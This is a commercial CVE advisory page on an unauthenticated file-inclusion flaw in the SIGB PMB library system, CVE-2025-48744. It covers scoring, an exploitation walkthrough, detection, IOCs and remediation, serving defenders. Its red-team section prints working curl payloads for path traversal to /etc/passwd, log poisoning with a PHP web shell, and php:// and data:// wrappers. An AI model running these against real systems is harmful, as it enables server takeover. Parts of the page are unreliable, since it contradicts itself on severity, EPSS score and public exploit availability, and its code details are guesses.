☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L 🐛 CWE-98
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-48744

CVE-2025-48744 Remote Code Execution in Sigb
📅 PUBLISHED: 2025-05-27 00:00 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.96%
👁️
0.96% probability
24.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-48744 is a critical vulnerability in SIGB PMB (a library management system) prior to version 8.0.1.2. The vulnerability allows an unauthenticated attacker to achieve Local File Inclusion (LFI) and subsequently Remote Code Execution (RCE). This is a severe threat as it can lead to full compromise of the web server and the underlying network. The vulnerability is currently unpatched for versions below 8.0.1.2, and no public exploit code is available at this time. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild currently, but the technical impact is high.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
  • Attack Vector (AV): Network (N) - Exploitable remotely.
  • Attack Complexity (AC): Low (L) - No special conditions required.
  • Privileges Required (PR): None (N) - No authentication needed.
  • User Interaction (UI): None (N) - No user action required.
  • Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
  • Confidentiality (C): Low (L) - Limited information disclosure.
  • Integrity (I): Low (L) - Limited data modification.
  • Availability (A): Low (L) - Limited service disruption.

Threat Level: High. While the CVSS score is medium, the ability to chain LFI to RCE significantly elevates the risk. An unauthenticated attacker can gain full control of the application server.

Deep Dive & Mechanics

The vulnerability resides in the way SIGB PMB handles file inclusion. The application likely uses user-supplied input (e.g., via a page or file parameter) to include PHP files without proper sanitization. An attacker can manipulate this parameter to include arbitrary files from the server's filesystem.

LFI to RCE Chain:

  1. Local File Inclusion (LFI): The attacker can read sensitive files like /etc/passwd, configuration files, or application source code by providing a path like ../../../etc/passwd.
  2. Remote Code Execution (RCE): LFI can be escalated to RCE using techniques such as:
    • Log Poisoning: Injecting PHP code into server logs (e.g., Apache access log) via the User-Agent header, then including the log file.
    • PHP Wrappers: Using php://input to execute arbitrary POST data, or data:// to include base64-encoded PHP code.
    • Session File Injection: If the application stores session files in a predictable location, an attacker can inject PHP code into a session variable and include the session file.

The specific vulnerable parameter and the exact LFI vector are not publicly disclosed, but the core mechanism is a classic path traversal combined with file inclusion.

Vulnerable vs. Patched Code

The patch in version 8.0.1.2 likely involves sanitizing the file inclusion parameter. A vulnerable code snippet might look like:

// VULNERABLE CODE
$page = $_GET['page'];
include($page . '.php');

The patched version would use a whitelist or strict validation:

// PATCHED CODE
$allowed_pages = ['home', 'about', 'contact'];
$page = $_GET['page'];
if (in_array($page, $allowed_pages)) {
    include($page . '.php');
} else {
    // Handle error
}

Or, more robustly, use realpath() to resolve the path and ensure it's within an allowed directory.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A vulnerable instance of SIGB PMB (version < 8.0.1.2).
  • Knowledge of the vulnerable parameter (e.g., page, file, include).

Step 1: Identify the LFI Parameter Use a web fuzzer (e.g., Burp Suite Intruder, ffuf) to test common parameters for LFI behavior.

Step 2: Basic LFI Test

curl "http://target.com/index.php?page=../../../etc/passwd"

If the response contains the contents of /etc/passwd, LFI is confirmed.

Step 3: Log Poisoning for RCE

  1. Send a request with a malicious User-Agent header:
    curl -A "<?php system($_GET['cmd']); ?>" "http://target.com/"
    
  2. Include the Apache access log (common location: /var/log/apache2/access.log):
    curl "http://target.com/index.php?page=../../../var/log/apache2/access.log&cmd=id"
    
    The output should show the result of the id command.

Step 4: Using PHP Wrappers (if enabled)

# Using php://input
curl -X POST -d "<?php system('id'); ?>" "http://target.com/index.php?page=php://input"

# Using data://
curl "http://target.com/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8%2B&cmd=id"

Blue Team (Detection & Response)

Detection:

  • Monitor for path traversal patterns in HTTP requests (e.g., ../, ..\\, %2e%2e%2f).
  • Alert on inclusion of sensitive files (e.g., /etc/passwd, /etc/shadow, wp-config.php).
  • Detect the use of PHP wrappers (php://, data://, expect://).
  • Monitor for unusual User-Agent strings containing PHP code.

Response:

  1. Isolate the affected server from the network.
  2. Review web server logs for signs of exploitation.
  3. Check for unauthorized file modifications or new user accounts.
  4. Apply the patch by upgrading to version 8.0.1.2.
  5. If patching is not immediately possible, implement a Web Application Firewall (WAF) rule to block LFI attempts.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests containing ../ or ..\\ in parameters.
    • HTTP requests with php://, data://, or expect:// in parameters.
    • HTTP requests with User-Agent headers containing PHP code (e.g., <?php ... ?>).
    • Outbound connections from the web server to unknown IPs (potential reverse shell).
  • File System IOCs:
    • Unexpected files in the web root (e.g., shell.php, cmd.php).
    • Modified server log files (e.g., Apache access log containing PHP code).
    • New or modified files in /tmp/ or /var/tmp/.
  • Process IOCs:
    • Unusual processes running as the web server user (e.g., nc, bash, python).

Detection Engineering

YARA Rule

YARA RULE
CVE_2025_48744_LFI_RCE
Detects LFI/RCE attempts targeting SIGB PMB CVE-2025-48744
Reference: CVE-2025-48744
🔒 Detection logic available via the ValtersIT API — moved there in response to large-scale automated scraping.[ GET API ACCESS ] →

Sigma Rule

SIGMA RULE
CVE-2025-48744 - SIGB PMB LFI/RCE Attempt
Detects HTTP requests attempting to exploit Local File Inclusion in SIGB PMB
Logsource: apache · webserver  high
🔒 Detection logic available via the ValtersIT API — moved there in response to large-scale automated scraping.[ GET API ACCESS ] →

Suricata Rule

SURICATA IDS RULE
CVE-2025-48744 - SIGB PMB LFI Attempt
Protocol: HTTP · SID 1000001
🔒 Detection logic available via the ValtersIT API — moved there in response to large-scale automated scraping.[ GET API ACCESS ] →

Remediation & Mitigation

Immediate Actions:

  1. Upgrade: Upgrade SIGB PMB to version 8.0.1.2 or later immediately.
  2. WAF Rules: Deploy WAF rules to block path traversal and PHP wrapper usage.
  3. Input Validation: If patching is delayed, implement strict input validation on all file inclusion parameters. Use a whitelist of allowed files.

Long-Term Measures:

  1. Secure Coding: Implement secure coding practices, including avoiding dynamic file inclusion based on user input.
  2. Regular Audits: Conduct regular security audits and penetration testing.
  3. Monitoring: Continuously monitor web server logs for suspicious activity.

Valters IT - Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

Security researchers use these queries on Shodan.io to find vulnerable systems globally.

🔒 3 Shodan dorks available

Full Shodan queries for this CVE are available through the ValtersIT API. They were moved behind the API in response to large-scale automated scraping, and to keep this independently-researched intelligence sustainable. The written analysis above remains fully open.

[ GET API ACCESS ] → Available on all plans · from €19/mo (founding)

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-48744/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.